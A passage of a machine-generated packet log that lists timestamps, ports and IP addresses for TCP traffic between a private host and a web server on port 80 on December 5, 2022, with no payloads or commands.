Dec 5, 2022 06:44:36.404270887 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.404301882 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.404328108 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.404330969 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.404361963 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.404392958 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.404421091 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.404422045 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.404453993 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.404475927 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.404483080 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.404512882 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.404536963 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.404541969 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.404562950 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.404572964 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.404603004 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.404630899 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.404637098 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.404660940 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.404690027 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.404719114 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.404748917 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.405147076 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.405177116 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.405205965 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.405235052 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.405241013 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.405267000 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.405287027 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.405297995 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.405328989 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.405352116 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.405359030 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.405389071 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.405411959 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.405421019 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.405452013 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.405478954 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.405481100 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.405509949 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.405534029 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.405539036 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.405570030 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.405597925 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.405625105 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.405627966 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.405653954 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.405656099 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.406050920 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.406065941 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.406100988 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.406131983 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.406158924 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.406162977 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.406193972 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.406223059 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.406243086 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.406254053 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.406284094 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.406291008 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.406313896 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.406344891 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.406347036 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.406378031 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.406404972 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.406435966 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.406436920 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.406461954 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.406467915 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.406810999 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.406830072 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.406848907 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.406868935 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.406877041 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.406897068 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.406917095 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.406928062 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.406935930 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.406956911 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.406970978 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.406974077 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.406992912 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.406996012 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.407011986 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.407018900 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.407033920 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.407052994 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.407064915 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.407072067 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.407088995 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.407092094 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.407114029 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.407133102 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.407151937 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.407151937 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.407170057 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.407179117 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.407202005 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.407748938 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.407768011 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.407785892 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.407804966 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.407824039 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.407839060 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.407843113 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.407864094 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.407877922 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.407883883 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.407902956 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.407919884 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.407921076 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.407979012 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.410042048 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.410060883 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.410078049 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.410099030 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.410118103 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.410126925 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.410135984 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.410156012 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.410175085 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.410176992 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.410193920 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.410212994 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.410227060 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.410232067 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.410249949 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.410254002 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.410274982 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.410294056 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.410295963 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.410320997 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.410340071 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.410350084 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.410360098 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.410378933 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.410381079 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.410399914 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.410420895 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.410463095 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.410517931 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.410552025 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.410572052 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.410589933 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.410609007 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.410628080 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.410629034 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.410645962 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.410649061 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.410670996 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.410676003 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.410691023 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.410711050 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.410722017 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.410731077 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.410752058 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.410772085 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.410789967 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.410792112 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.410810947 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.410811901 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.410830975 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.410850048 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.410851002 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.410868883 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.410897970 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.410927057 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.410933018 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.410933971 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.411335945 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.411482096 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.411501884 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.411540985 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.411560059 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.411578894 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.411597967 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.411598921 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.411617994 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.411633015 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.411638021 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.411659002 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.411660910 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.411676884 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.411690950 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.411696911 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.411741018 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.411994934 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.412024975 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.412045002 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.412061930 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.412081003 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.412084103 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.412100077 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.412120104 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.412122011 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.412138939 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.412147999 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.412159920 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.412169933 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.412180901 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.412201881 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.412219048 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.412225962 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.412239075 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.412260056 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.412260056 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.412280083 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.412292004 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.412300110 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.412319899 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.412339926 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.412352085 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.412358046 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.412377119 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.412379026 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.412404060 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.412941933 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.412961960 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.412998915 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.413018942 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.413033962 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.413037062 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.413058043 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.413067102 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.413077116 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.413091898 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.413099051 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.413120031 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.413140059 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.413152933 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.413157940 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.413178921 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.413180113 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.413201094 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.413203955 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.413219929 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.413240910 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.413259983 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.413276911 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.413279057 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.413297892 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.413301945 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.413317919 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.413336039 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.413350105 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.413374901 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.413878918 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.413898945 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.413917065 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.413934946 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.413939953 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.413954020 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.413975000 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.413992882 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.413996935 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.414014101 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.414022923 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.414033890 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.414045095 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.414055109 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.414076090 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.414098024 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.414107084 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.414118052 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.414138079 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.414155960 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.414161921 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.414175987 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.414191961 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.414196014 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.414216042 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.414217949 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.414235115 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.414253950 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.414272070 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.414299011 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.414829969 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.414849997 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.414868116 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.414913893 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.414942026 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.414942980 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.414942980 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.414962053 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.414982080 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.414988995 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.415004015 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.415025949 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.415030003 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.415045023 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.415064096 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.415081978 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.415098906 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.415100098 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.415121078 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.415126085 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.415138006 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.415139914 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.415159941 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.415179968 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.415185928 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.415198088 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.415215015 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.415242910 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.415271997 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.415637970 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.415657997 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.415677071 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.415695906 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.415714979 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.415723085 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.415734053 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.415755987 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.415772915 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.415775061 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.415795088 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.415802956 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.415815115 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.415827036 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.415834904 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.415854931 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.415867090 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.415875912 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.415895939 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.415911913 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.415914059 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.415934086 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.415952921 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.415965080 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.415972948 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.415992975 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.415992975 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.416013956 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.416028976 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.416033030 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.416052103 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.416080952 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.416095018 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.416562080 CET	80	49704	66.235.200.147	192.168.2.3
